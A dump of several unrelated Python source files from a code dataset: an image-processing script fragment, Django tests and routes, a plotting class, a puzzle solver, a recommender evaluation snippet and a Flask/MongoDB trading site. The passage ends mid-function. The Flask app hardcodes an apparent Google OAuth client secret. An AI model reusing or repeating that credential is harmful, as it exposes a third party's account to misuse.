np.ones([h1, w1])*res[:, :, i]\n res1[:h2, w2:w2+w1, i] = np.ones([h1, w1])*res0[:, :, i]\n h1, w1 = res1.shape[:2]\n h1, w1 = int(h1/4), int(w1/4)\n res2 = res1[h1:h1*3, w1:w1*3, :]\n return res2\n\n\ndef getSingle(sample):\n s, sv = knock(sample)\n s0 = show(table_name, s)\n if sv == 0:\n return get_0(s0, sv)\n elif sv == 1:\n return get_1(s0, sv)\n elif sv == 2:\n return get_2(s0, sv)\n elif sv == 3:\n return get_3(s0, sv)\n else:\n raise Exception(\"shit happens!\")\n return\n\n\ndef ver_black(p):\n return np.mean(p) > threshold\n\n\ndef getDouble(sample):\n g = getSingle(sample)\n if ver_black(g):\n b = batchRead(g)\n return {sample: b if b != None else []}\n # this sometimes doesn't return shit.\n else:\n return {sample: []}\n# no, just stop?\n# there's still something?\n# def streamDouble(smp):\n# r = parallel(len(smp), getDouble, smp)\n# r0 = {}\n# for x in r:\n# r0.update(x)\n# return r0\n\n# there are many dots over the spot.\n# result will be inaccurate.\n\n\ndef upDouble(d):\n y = d.keys()\n # for x in y:\n inf(table_name, [(d[x], *x) for x in y])\n # print(\"imports:\", len(y), \"contents:\", *[d[x] for x in y])\n return\n# all shit.\n# you may increase the workload?\n# always like to tap dev options. it is killing me.\n\ndef singleton(a):\n r = getDouble(a)\n upDouble(r)\n return\n\n\nif __name__ == \"__main__\":\n freeze_support()\n f = regcheck(table_name)\n print(\"WORKLOAD\", len(f))\n a = []\n # you can set some batch size.\n f0 = windowEndmarkEx(f, THROTTLE)\n # print(f0) # working.\n for z in f0:\n a = clean(a)\n b = check(a)\n # b = check_r(a)\n # what the fuck.\n if b < GFC:\n for y in range(len(z)):\n c = b+y # just a hint.\n print(\"dispached\", c)\n zx = z[y]\n p = Process(target=singleton, args=(zx,))\n p.start()\n a.append((p, zx))\n else:\n print(\"waiting\", b)\n time.sleep(1)\n # print(z)\n # s = streamDouble(z)\n # upDouble(s)\n# you plan to get it all?\n# sample = (5, 0, 0, 2) # to pics.\n# s, sv = knock(sample)\n# # print(s)\n# s0 = show(table_name, s)\n# r = get_2(s0, sv)\n# sample = (5, 0, 0, 3) # to pics.\n# s, sv = knock(sample)\n# # print(s)\n# s0 = show(table_name, s)\n# r0 = get_3(s0, sv)\n# e=[r,r0]\n# e0=batchRead(e)\n# print(e0)\n# skip pure black.\n# be it 2.\n# sv=sample[-1]\n# try different.\n# opencv is great but i cannot expolre.\n# print(r)\n# you will always get only one result.\n# p = np.mean(r)\n# print(p)\n# if this is applied, then return '' instead of None.\n# cv2.imshow(\" \", r)\n# cv2.waitKey(0)\n# cv2.imshow(\" \",res2)\n# cv2.waitKey(0)\n# just combine? too much computation.\n# not too bad.\n# same, do not do that to skimage. it sucks.\n# print(s2,s2.shape)\n# # not working.\n# people tend to freak each other out.\n# perform a single shot.\n# print(s)\n# now, how to get those pics?\n# print(sd,sv)\n# s=show(table_name,[(0,0,0)])\n# just get one?\n# print(s)\n","sub_path":"bootstrap/legacy/concentration/old_toys/internet_maps/multiCheck.py","file_name":"multiCheck.py","file_ext":"py","file_size_in_byte":7236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"455433742","text":"from django.contrib.auth.models import User\nfrom django.core.paginator import Paginator\nfrom django.test import TestCase\n\nfrom ladders.logic import pagination\nFIXTURES = ['fixtures/users', 'fixtures/ladders']\n\n\nclass GetPageTest(TestCase):\n fixtures = FIXTURES\n\n def setUp(self):\n self.fixture = pagination.get_page\n self.paginator = Paginator(User.objects.all(), 3)\n\n def test_get_correct_page(self):\n page = self.fixture(self.paginator, 1)\n self.assertIn(User.objects.get(pk=1), page)\n self.assertIn(User.objects.get(pk=3), page)\n self.assertNotIn(User.objects.get(pk=4), page)\n\n def test_non_int_page_number_gives_first_page(self):\n page = self.fixture(self.paginator, \"asdad\")\n self.assertIn(User.objects.get(pk=1), page)\n self.assertIn(User.objects.get(pk=3), page)\n self.assertNotIn(User.objects.get(pk=4), page)\n\n def test_out_of_range_page_number_gives_first_page(self):\n page = self.fixture(self.paginator, 99999)\n self.assertIn(User.objects.get(pk=1), page)\n self.assertIn(User.objects.get(pk=3), page)\n self.assertNotIn(User.objects.get(pk=4), page)\n\n\nclass GetPageWithItemTest(TestCase):\n fixtures = FIXTURES\n\n def setUp(self):\n self.fixture = pagination.get_page_with_item\n self.paginator = Paginator(User.objects.all(), 3)\n\n def test_get_page_with_item_when_item_in_paginator(self):\n page = self.fixture(self.paginator, 6)\n self.assertIn(User.objects.get(pk=6), page)\n self.assertEqual(page.number, 2)\n\n def test_first_page_returned_when_item_not_in_paginator(self):\n self.assertEqual(self.fixture(self.paginator, 9999).number, 1)\n","sub_path":"apps/ladders/tests/logic/pagination_tests.py","file_name":"pagination_tests.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"397292356","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"wiki/search\", views.search, name=\"search\"),\n path(\"wiki/new_page\", views.new_page, name=\"new_page\"),\n path(\"wiki/edit_page/\", views.edit_page, name=\"edit_page\"),\n path(\"wiki/\", views.entry, name=\"entry\")\n]\n","sub_path":"encyclopedia/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"193303499","text":"from matplotlib import pyplot as plt\nimport numpy as np\nfrom ctapipe.visualization.mpl_array import ArrayDisplay\nimport astropy.units as u\nfrom ctapipe.coordinates import GroundFrame\n\n\nclass NominalPlotter:\n \"\"\"\n Simple plotter for drawing camera level items in the nominal system\n \"\"\"\n\n def __init__(self, hillas_parameters, draw_axes=False, ax=None, **kwargs):\n \"\"\"\n\n Parameters\n ----------\n instrument: dictionary\n intrument containers for this event\n telescopes: list\n List of telescopes included\n system: Coordinate system\n Coordinate system to transform coordinates into\n \"\"\"\n self.axes = ax if ax is not None else plt.gca()\n\n self.cen_x = [i.x.to(u.deg).value for i in hillas_parameters.values()]\n self.cen_y = [i.y.to(u.deg).value for i in hillas_parameters.values()]\n\n self.centre = (0, 0)\n self.array = ArrayDisplay(telx=np.asarray(self.cen_x),\n tely=np.asarray(self.cen_y),\n tel_type=np.ones(len(self.cen_y)),\n axes=self.axes)\n\n self.hillas = hillas_parameters\n scale_fac = 57.3 * 2\n\n self.array.overlay_moments(hillas_parameters, (self.cen_x, self.cen_y), scale_fac,\n cmap=\"Greys\", alpha=0.5, **kwargs)\n\n if draw_axes:\n self.array.overlay_axis(hillas_parameters, (self.cen_x, self.cen_y))\n\n def background_contour(self, x, y, background, **kwargs):\n \"\"\"\n Draw image contours in background of the display, useful when likelihood fitting\n\n Parameters\n ----------\n x: ndarray\n array of image X coordinates\n y: ndarray\n array of image Y coordinates\n background: ndarray\n Array of image to use in background\n kwargs: key=value\n any style keywords to pass to matplotlib\n\n Returns\n -------\n None\n \"\"\"\n\n self.axes.contour(x, y, background, **kwargs)\n\n # Annoyingly we need to redraw everything\n self.array = ArrayDisplay(telx=np.asarray(self.cen_x),\n tely=np.asarray(self.cen_y),\n tel_type=np.ones(len(self.cen_y)),\n axes=self.axes)\n\n def draw_array(self, coord_range=((-4, 4), (-4, 4))):\n \"\"\"\n Draw the array plotter (including any overlayed elements)\n\n Parameters\n ----------\n coord_range: tuple\n XY range in which to draw plotter\n\n Returns\n -------\n None\n \"\"\"\n\n self.array.axes.set_xlim((self.centre[0] + coord_range[0][0],\n coord_range[0][1] + self.centre[0]))\n self.array.axes.set_ylim((self.centre[1] + coord_range[1][0],\n coord_range[1][1] + self.centre[1]))\n\n # self.axes.tight_layout()\n # self.axes.show()\n\n def draw_position(self, source_x, source_y, use_centre=False, **kwargs):\n \"\"\"\n Draw a marker at a position in the array plotter (for marking reconstructed\n positions etc)\n\n Parameters\n ----------\n source_x: float\n X position of point\n source_y: float\n Y position of point\n use_centre: bool\n Centre the plotter on this position\n kwargs: key=value\n any style keywords to pass to matplotlib\n\n Returns\n -------\n None\n \"\"\"\n self.array.add_polygon(centroid=(source_x.to(u.deg).value,\n source_y.to(u.deg).value),\n radius=0.1, nsides=3, **kwargs)\n if use_centre:\n self.centre = (source_x.value, source_y.value)\n","sub_path":"ctapipe/plotting/array.py","file_name":"array.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"409603105","text":"import sys\n\n\nclass RuleInner:\n def __init__(self, input_inner):\n content = input_inner.strip().split(' ')\n self.name = ' '.join(content[1:])\n self.amount = int(content[0])\n\n def __repr__(self):\n return 'RuleInner(name=\"{}\", amount={})'.format(self.name, self.amount)\n\n\nclass Rule:\n def __init__(self, input_line):\n line = input_line.replace('bags', '').replace('bag', '').replace('.', '')\n main, inner = [x.strip() for x in line.split('contain')]\n inner = [] if inner == 'no other' else [RuleInner(x.strip()) for x in inner.split(',')]\n\n self.main = main\n self.inner = inner\n\n def __repr__(self):\n return 'Rule(main=\"{}\", inner={})'.format(self.main, self.inner)\n\n\nclass GraphEdge:\n def __init__(self, dest, value):\n self.dest = dest\n self.value = value\n\n def __repr__(self):\n return 'GraphEdge(dest=\"{}\", value=\"{}\")'.format(self.dest, self.value)\n\n\nclass Graph:\n def __init__(self, rules):\n self.ad_out = {}\n for rule in rules:\n for rinner in rule.inner:\n if rinner.name not in self.ad_out:\n self.ad_out[rinner.name] = []\n self.ad_out[rinner.name].append(GraphEdge(rule.main, rinner.amount))\n\n if rule.main not in self.ad_out:\n self.ad_out[rule.main] = []\n\n self.ad_in = {}\n for rule in rules:\n if rule.main not in self.ad_in:\n self.ad_in[rule.main] = []\n\n for rinner in rule.inner:\n if rinner.name not in self.ad_in:\n self.ad_in[rinner.name] = []\n self.ad_in[rule.main].append(GraphEdge(rinner.name, rinner.amount))\n\n def dfs_p1(self):\n result = set()\n\n def dfs(name):\n if name in result:\n return\n result.add(name)\n for edge in self.ad_out[name]:\n dfs(edge.dest)\n\n dfs('shiny gold')\n\n # need to discard shiny gold itself\n return len(result) - 1\n\n def dfs_p2(self):\n def dfs(name):\n count = 0\n for edge in self.ad_in[name]:\n count += edge.value * dfs(edge.dest)\n return 1 + count\n\n # need to discard shiny gold itself\n return dfs('shiny gold') - 1\n\n def __repr__(self):\n return 'Graph(ad_out=\"{}\", ad_in=\"{}\")'.format(self.ad_out, self.ad_in)\n\n\ndef main():\n rules = [Rule(x) for x in sys.stdin]\n graph = Graph(rules)\n\n # print(rules)\n # print(graph)\n\n print(graph.dfs_p2())\n\n\nmain()\n","sub_path":"07/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"622433630","text":"test.show()\n\nrank_eval = SparkRankingEvaluation(test, top_all, k = TOP_K, col_user=\"UserId\", col_item=\"MovieId\", \n col_rating=\"Rating\", col_prediction=\"prediction\", \n relevancy_method=\"top_k\")\n \n# Evaluate Ranking Metrics\n\nprint(\"Model:\\tALS\",\n \"Top K:\\t%d\" % rank_eval.k,\n \"MAP:\\t%f\" % rank_eval.map_at_k(),\n \"NDCG:\\t%f\" % rank_eval.ndcg_at_k(),\n \"Precision@K:\\t%f\" % rank_eval.precision_at_k(),\n \"Recall@K:\\t%f\" % rank_eval.recall_at_k(), sep='\\n') \n \n# Evaluate Rating Metrics\n\nprediction = model.transform(test)\nrating_eval = SparkRatingEvaluation(test, prediction, col_user=\"UserId\", col_item=\"MovieId\", \n col_rating=\"Rating\", col_prediction=\"prediction\")\n\nprint(\"Model:\\tALS rating prediction\",\n \"RMSE:\\t%.2f\" % rating_eval.rmse(),\n \"MAE:\\t%f\" % rating_eval.mae(),\n \"Explained variance:\\t%f\" % rating_eval.exp_var(),\n \"R squared:\\t%f\" % rating_eval.rsquared(), sep='\\n') \n \nmodel.write().overwrite().save(model_name)\nmodel_local = \"file:\" + os.getcwd() + \"/\" + model_name\ndbutils.fs.cp(model_name, model_local, True) \n","sub_path":"movie_recs/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"233300938","text":"from flask import Flask, redirect, url_for, render_template, request, session, flash\nfrom flask_pymongo import PyMongo\nfrom flask_mail import Mail, Message\nimport bcrypt\nfrom bson import ObjectId\nfrom flask_apscheduler import APScheduler\nfrom datetime import timedelta, date, datetime\nimport os # for Env Heroku\nfrom graph import *\nfrom toptradingcycle import *\nfrom authlib.integrations.flask_client import OAuth\n# from algorithm import graph #algorithm\n# from algorithm import *\n# from algorithm.toptradingcycle import toptradingcycle\n\n# aric and tal\n\napp = Flask(__name__)\napp.config[\"MONGO_URI\"] = os.environ.get(\"MONGODB_URI\")\napp.config['MONGO_DBNAME'] = 'multiTrade'\napp.config['SECRET_KEY'] = 'mySecret'\n# app.secret_key = \"mySecret\"\nmongo = PyMongo(app)\n\napp.config.update(dict(\n DEBUG = True,\n MAIL_SERVER = 'smtp.gmail.com',\n MAIL_PORT = 587,\n MAIL_USE_TLS = True,\n MAIL_USE_SSL = False,\n MAIL_DEFAULT_SENDER = os.environ.get(\"MAIL_USERNAME\"),\n MAIL_USERNAME = os.environ.get(\"MAIL_USERNAME\"),\n MAIL_PASSWORD = os.environ.get(\"MAIL_PASSWORD\")\n))\n\nCONF_URL = 'https://accounts.google.com/.well-known/openid-configuration'\noauth = OAuth(app)\ngoogle = oauth.register(\n name='google',\n client_id='1028413226216-2ivlgf73ho77h09de0js4mur4kos4gr6.apps.googleusercontent.com',\n client_secret='TZD2-5wPZI_UBmXAtmuzxI5d',\n access_token_url='https://accounts.google.com/o/oauth2/token',\n access_token_params=None,\n authorize_url='https://accounts.google.com/o/oauth2/auth',\n authorize_params=None,\n api_base_url='https://www..google.com/oauth2/v1/',\n server_metadata_url=CONF_URL,\n client_kwargs={'scope': 'openid email profile'}\n)\n\nusers = mongo.db.users\nitems = mongo.db.items\ntenders = mongo.db.tenders\nfsFiles = mongo.db.fs.files\nfsChunks = mongo.db.fs.chunks\n\nscheduler = APScheduler()\nmail = Mail(app)\n\n@app.route('/gmailLogin/')\ndef gmailLogin():\n\n google = oauth.create_client('google')\n redirect_url = url_for('auth', _external=True)\n return google.authorize_redirect(redirect_url)\n\n@app.route('/auth/')\ndef auth():\n\n google = oauth.create_client('google')\n token = google.authorize_access_token()\n resp = google.get(\"https://www.googleapis.com/oauth2/v2/userinfo\")\n user_info = resp.json()\n email = user_info[\"email\"].lower()\n firstName = user_info[\"given_name\"]\n lastName = user_info[\"family_name\"]\n\n existing_user = users.find_one({'email': email})\n\n if existing_user is None:\n users.insert({'email': email, 'password': None, 'firstName': firstName, 'lastName': lastName, 'state': \"\",\n 'phoneNum': \"\", 'favoritesTenders': [], 'confirmed': None})\n session[\"email\"] = email\n else: # user exists\n if existing_user[\"confirmed\"] is None: # already registered via Gmail at least once\n session[\"email\"] = email\n else: # the user already registered in the regular way so cannot login with gmail\n session[\"need_login_with_pwd\"] = True\n return redirect(url_for(\"home\"))\n\n\ndef checkMessages():\n\n if \"personal_details\" in session:\n flash(\"Personal details updated\",'success')\n session.pop(\"personal_details\",None)\n\n if \"edit_tender\" in session:\n flash(\"Tender's details updated\",'success')\n session.pop(\"edit_tender\",None)\n\n if \"edit_item\" in session:\n flash(\"Item details updated successfully\",'success')\n session.pop(\"edit_item\",None)\n\n if \"delete_item\" in session:\n flash(\"Item deleted successfully\",'success')\n session.pop(\"delete_item\",None)\n\n if \"rank_items\" in session:\n flash(\"Your preferences were saved\",'success')\n session.pop(\"rank_items\",None)\n\n if \"add_favorite\" in session:\n if session[\"add_favorite\"]:\n flash(\"Tender added to favorites\",'success')\n session.pop(\"add_favorite\",None)\n else:\n flash(\"Tender deleted from favorites\",'success')\n session.pop(\"add_favorite\",None)\n\n if \"blocked\" in session:\n flash(\"You are not allowed to enter this tender\",'error')\n session.pop(\"blocked\",None)\n\n if \"need_confirm\" in session:\n flash(\"Please confirm your account\",'error')\n session.pop(\"need_confirm\",None)\n\n if \"confirmSucceed\" in session:\n flash(\"Confirm succeed, welcome to MultiTrade site\",'success')\n session.pop(\"confirmSucceed\",None)\n\n if \"please_confirm\" in session:\n flash(\"Check your mailbox for confirm link\",'success')\n session.pop(\"please_confirm\",None)\n\n if \"need_login_with_pwd\" in session:\n flash(\"Please login with email and password\",'error')\n session.pop(\"need_login_with_pwd\",None)\n\n\n@app.route('/', methods=[\"POST\", \"GET\"])\ndef home():\n\n checkMessages()\n all_tenders = tenders.find({'isPrivate': False})\n if request.method == \"POST\": # for search\n search_input = request.form[\"search\"]\n tenders_id = sorted(tenders.find({'name': {'$regex': search_input, \"$options\" : \"i\"}}), key=lambda tender: tender[\"joining_time\"]) # show results if\n # tender exist which contains the search_input string, \"i\" flag make it case-insensitivity\n else:\n tenders_id = sorted(tenders.find({'results': {} }), key=lambda tender: tender[\"joining_time\"]) # show all tenders\n\n for t in tenders_id : # design the joining_time field\n t[\"joining_time\"] = str(t[\"joining_time\"])[0:11]\n\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n return render_template(\"welcome_logged_in.html\", login_user=login_user, tenders_id=tenders_id, all_tenders=all_tenders)\n\n return render_template(\"welcome.html\", tenders_id=tenders_id, all_tenders=all_tenders)\n\n\n@app.route(\"/login/\", methods=[\"POST\", \"GET\"])\ndef login():\n\n if request.method == \"POST\":\n email = request.form[\"email\"].lower()\n login_user = users.find_one({'email': email})\n\n if login_user: # the user exist in DB\n if not login_user[\"password\"]: # if the user connected with google, he doesn't have a password\n return \"Invalid username/password combination\"\n\n if bcrypt.hashpw(request.form[\"pass\"].encode('utf-8'), login_user[\"password\"]) == login_user[\"password\"]:\n if login_user[\"confirmed\"]:\n session[\"email\"] = email\n else:\n session[\"need_confirm\"] = True\n return redirect(url_for(\"home\"))\n\n return \"Wrong password\"\n\n else:\n if \"email\" in session: # the user is already logged in and try to get to login\n return redirect(url_for(\"home\"))\n\n allEmails=[]\n allUsers = users.find()\n for u in allUsers:\n allEmails.append(u[\"email\"])\n return render_template(\"login.html\",allEmails=allEmails)\n\n\n@app.route(\"/register/\", methods=[\"POST\", \"GET\"])\ndef register():\n\n if request.method == \"POST\":\n firstName = request.form[\"fn\"]\n lastName = request.form[\"ln\"]\n email = request.form[\"email\"].lower()\n state = request.form[\"myState\"]\n prefix = request.form[\"phone1Prefix\"]\n phoneNum = request.form[\"phoneNum\"]\n\n if phoneNum:\n phoneNum = prefix + phoneNum\n\n existing_user = users.find_one({'email': email})\n\n if existing_user is None: # check if the user is already registered by email\n hashPass = bcrypt.hashpw(request.form[\"pass\"].encode('utf-8'), bcrypt.gensalt())\n userId = users.insert({'email': email, 'password': hashPass, 'firstName': firstName,\n 'lastName': lastName, 'state': state, 'phoneNum': phoneNum, 'favoritesTenders': [], 'confirmed': False})\n\n # session[\"email\"] = email\n with app.app_context(): # for sending emails need to use app context\n sendEmail(\"Confirm your account in MultiTrade\",\"Click https://multitrade.herokuapp.com/confirm/\"+str(userId)+\" for confirm your account \\n MultiTrade\", [email])\n session[\"please_confirm\"] = True\n return redirect(url_for(\"home\"))\n\n return \"your email is already exist in DB\" # the user is already exsit Js will avoid this case\n\n else: # GET request\n if \"email\" in session:\n return redirect(url_for(\"home\"))\n\n allEmails = []\n allUsers = users.find()\n for u in allUsers:\n allEmails.append(u[\"email\"])\n return render_template(\"register.html\",allEmails=allEmails)\n\n\n@app.route(\"/confirm//\")\ndef confirmUser(userId):\n\n existing_user = users.find_one({'_id': ObjectId(userId)})\n if not existing_user is None:\n email = existing_user[\"email\"]\n if not existing_user[\"confirmed\"]: # need to confirm the account\n session[\"email\"] = email\n users.update({\n '_id': ObjectId(userId)},\n {\n '$set': {\n 'confirmed': True}\n }, upsert=False)\n session[\"confirmSucceed\"] = True\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/collection/\", methods=[\"POST\", \"GET\"])\ndef myCollection():\n\n checkMessages()\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n\n if request.method == \"POST\": # add item\n itemName = request.form[\"itemName\"]\n itemDetails = request.form[\"itemDetails\"]\n itemImage = request.files[\"image\"]\n id = mongo.save_file(itemImage.filename, itemImage)\n\n fsFiles.update({\n '_id': ObjectId(id)},\n {\n '$set': {\n 'filename': str(id)\n }\n }, upsert=False)\n\n items.insert({'owner': email, 'name': itemName, 'details': itemDetails,\n 'image': str(id), 'inUse': False, 'itemReceived': None})\n return redirect(url_for(\"myCollection\"))\n # GET\n return render_template(\"my_collection.html\", login_user=login_user, items=items)\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/edit_item//\", methods=['GET', 'POST'])\ndef edit_item(itemId):\n\n current_item = items.find_one({'_id': ObjectId(itemId)})\n if \"email\" in session and not current_item[\"inUse\"]:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n\n if email == current_item[\"owner\"]:\n imageId = current_item[\"image\"]\n\n if request.method == \"POST\":\n\n itemName = request.form[\"itemName\"]\n itemDetails = request.form[\"itemDetails\"]\n itemImage = request.files[\"image\"]\n\n if itemImage: # if user chose image file\n imageId = mongo.save_file(itemImage.filename, itemImage)\n\n fsFiles.update({\n '_id': ObjectId(imageId)},\n {\n '$set': {\n 'filename': str(imageId)\n }\n }, upsert=False)\n\n fsFiles.delete_one(\n {'_id': ObjectId(current_item[\"image\"])})\n\n fsChunks.delete_one(\n {'files_id': ObjectId(current_item[\"image\"])})\n\n items.update({\n '_id': ObjectId(itemId)},\n {\n '$set': {\n 'name': itemName,\n 'details': itemDetails,\n 'image': str(imageId)\n }\n }, upsert=False)\n\n session[\"edit_item\"] = True\n return redirect(url_for(\"myCollection\"))\n\n return render_template(\"edit_item.html\", fn=login_user[\"firstName\"], current_item=current_item)\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/delete_item/\")\ndef delete_item(itemId):\n\n if \"email\" in session:\n email = session[\"email\"]\n current_item = items.find_one({'_id': ObjectId(itemId)})\n if email == current_item[\"owner\"]:\n if not current_item[\"inUse\"]:\n\n fsFiles.delete_one(\n {'_id': ObjectId(current_item[\"image\"])})\n\n fsChunks.delete_one(\n {'files_id': ObjectId(current_item[\"image\"])})\n\n items.remove({'_id': ObjectId(itemId)})\n\n session[\"delete_item\"] = True\n return redirect(url_for(\"myCollection\"))\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/personal_details/\", methods=['GET', 'POST'])\ndef edit_user():\n\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n id = login_user[\"_id\"]\n\n if request.method == \"POST\":\n state = request.form[\"myState\"]\n prefix = request.form[\"phone1Prefix\"]\n phoneNum = request.form[\"phoneNum\"]\n\n if phoneNum:\n phoneNum = prefix + phoneNum\n\n users.update({\n '_id': ObjectId(id)},\n {\n '$set': {\n 'phoneNum': phoneNum,\n 'state': state,\n }\n }, upsert=False)\n\n session[\"personal_details\"] = True\n return redirect(url_for(\"home\"))\n\n # for GET request to know which prefix to show\n prefixToHtml = \"050\"\n if login_user[\"phoneNum\"]:\n prefixToHtml = login_user[\"phoneNum\"][0:3]\n return render_template(\"personal_details.html\", login_user=login_user, pref=prefixToHtml)\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/create_tender/\", methods=[\"POST\", \"GET\"])\ndef create_tender():\n\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n\n if request.method == \"POST\":\n name = request.form[\"tenderName\"]\n desc = request.form[\"tenderDetails\"]\n days_for_ranking = int(request.form[\"daysForRanking\"])\n date = request.form[\"datepicker\"]\n\n d = int(date[:2])\n m = int(date[3:5])\n y = int(date[6:])\n joining_time = datetime(y, m, d)\n\n current_tender = {'name': name, 'description': desc,\n 'items': {}, 'participants': [], 'owner': email, 'joining_time': joining_time,\n 'daysForRanking': days_for_ranking, 'isActive': True, 'blocked': [], 'results': {}}\n\n if request.form[\"tender's privacy\"] == \"private\":\n isPrivate = True\n hashPass = bcrypt.hashpw(request.form[\"pass\"].encode('utf-8'), bcrypt.gensalt())\n current_tender[\"password\"] = hashPass\n else:\n isPrivate = False\n\n current_tender[\"isPrivate\"] = isPrivate\n\n tenderId = tenders.insert(current_tender)\n session[str(tenderId)] = True\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n\n # GET\n return render_template(\"create_tender.html\", fn=login_user[\"firstName\"])\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/out_of_tender//\")\ndef out_of_tender(tenderId):\n\n checkMessages()\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n if current_tender[\"isActive\"]:\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n if email in current_tender[\"blocked\"]: # if user is not allowed to enter to this tender\n session[\"blocked\"] = True\n return redirect(url_for(\"home\"))\n\n # if user already joined but wrote this address(wrong address)\n if email in current_tender[\"participants\"]:\n session[str(tenderId)] = True # if the user already participates in this tender give him permission no matter privacy\n return redirect(url_for(\"inside_of_tender\", tenderId=tenderId))\n\n # need to send to password page in order to enter the tender of its private instead of line 256!\n if current_tender[\"isPrivate\"]:\n if str(tenderId) in session: # user got permission\n return render_template(\"out_of_tender.html\", login_user=login_user, current_tender=current_tender, items=items)\n\n # the user is not the owner and does not has permission\n if email != current_tender[\"owner\"]:\n return redirect(url_for(\"enter_password\", tenderId=tenderId))\n\n # public, connected and not participate\n return render_template(\"out_of_tender.html\", login_user=login_user, current_tender=current_tender, items=items)\n\n if current_tender[\"isPrivate\"]: # not connected and tender is private\n if str(tenderId) in session:\n return render_template(\"out_of_tender_disconnected.html\", current_tender=current_tender, items=items)\n\n # the user didnt put password and not connected\n return redirect(url_for(\"enter_password\", tenderId=tenderId))\n\n return render_template(\"out_of_tender_disconnected.html\", current_tender=current_tender, items=items)\n\n # not isActive and no results = need to rank\n elif not current_tender[\"results\"]:\n return redirect(url_for(\"rank_items\", tenderId=tenderId))\n\n else: # not isActive and have results so the tender is over!\n return redirect(url_for(\"results\", tenderId=tenderId))\n\n\n\n# if the user join to tender and chose item\n@app.route(\"/item_added_to_tender///\")\ndef item_added_to_tender(tenderId, itemId):\n\n if \"email\" in session:\n email = session[\"email\"]\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n\n if current_tender[\"isActive\"]:\n current_item = items.find_one({'_id': ObjectId(itemId)})\n\n # if the user not in the tender and this item is mine\n if email not in current_tender[\"participants\"] and email == current_item[\"owner\"]:\n\n # if the item not in use in other tender\n if not current_item[\"inUse\"]:\n # add the item with empty array of preferences\n current_tender[\"items\"][itemId] = []\n current_tender[\"participants\"].append(email)\n # update DB\n tenders.update({ # update the tender in DB\n '_id': ObjectId(tenderId)},\n {\n '$set': {\n 'items': current_tender[\"items\"],\n 'participants': current_tender[\"participants\"]}}, upsert=False)\n\n items.update({ # update the user in DB\n '_id': ObjectId(itemId)},\n {\n '$set': {\n 'inUse': True,\n 'inTender': ObjectId(tenderId)\n }}, upsert=False)\n\n return redirect(url_for(\"inside_of_tender\", tenderId=tenderId))\n\n return redirect(url_for(\"home\"))\n\n\n# if the user already participate in tender and changeing his item\n@app.route(\"/change_item_in_tender///\")\ndef change_item_in_tender(tenderId, newItemId):\n\n if \"email\" in session:\n email = session[\"email\"]\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n\n if current_tender[\"isActive\"]:\n old_item = items.find_one({'inTender': ObjectId(tenderId), 'owner': email})\n new_item = items.find_one({'_id': ObjectId(newItemId)})\n\n # check if the user already in the tender and the items belong to him\n if old_item[\"owner\"] == email and new_item[\"owner\"] == email and email in current_tender[\"participants\"]:\n\n if not new_item[\"inUse\"]: # if the new item not in use in other tender\n\n # add email to the end of array because the item will added to the end of the items list\n current_tender[\"participants\"].remove(email)\n current_tender[\"participants\"].append(email)\n current_tender[\"items\"][newItemId] = current_tender[\"items\"].pop(str(old_item[\"_id\"]))\n # now its ordered participant[i] and items[i]\n\n tenders.update_one({ # update the tender in DB\n '_id': ObjectId(tenderId)},\n {\n '$set': {\n 'items': current_tender[\"items\"],\n 'participants': current_tender[\"participants\"]\n }}, upsert=False)\n\n items.update_one({ # update the old item!\n '_id': old_item[\"_id\"]},\n {\n '$set': {\n 'inUse': False,\n 'inTender': None\n }}, upsert=False)\n\n items.update_one({ # update the new item\n '_id': ObjectId(newItemId)},\n {\n '$set': {\n 'inUse': True,\n 'inTender': ObjectId(tenderId)\n }}, upsert=False)\n\n return redirect(url_for(\"inside_of_tender\", tenderId=tenderId))\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/my_own_tenders/\")\ndef my_own_tenders():\n\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n return render_template(\"my_own_tenders.html\", login_user=login_user, tenders=tenders)\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/my_deals/\")\ndef my_deals():\n\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n return render_template(\"my_deals.html\", login_user=login_user, items=items, tenders=tenders)\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/inside_of_tender//\", methods=[\"POST\", \"GET\"])\ndef inside_of_tender(tenderId):\n\n checkMessages()\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n if current_tender[\"isActive\"]:\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n # this user not taking part in this\n if email not in current_tender[\"participants\"]:\n # of POST REQUEST\n return 